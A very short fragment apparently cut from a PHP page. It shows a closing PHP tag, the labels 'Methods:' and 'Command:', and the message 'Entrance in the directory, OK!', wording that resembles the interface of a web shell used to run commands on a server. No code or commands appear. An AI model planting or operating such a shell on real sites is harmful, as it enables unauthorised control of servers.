")); ?>
Methods:
Command:
Entrance in the directory, OK!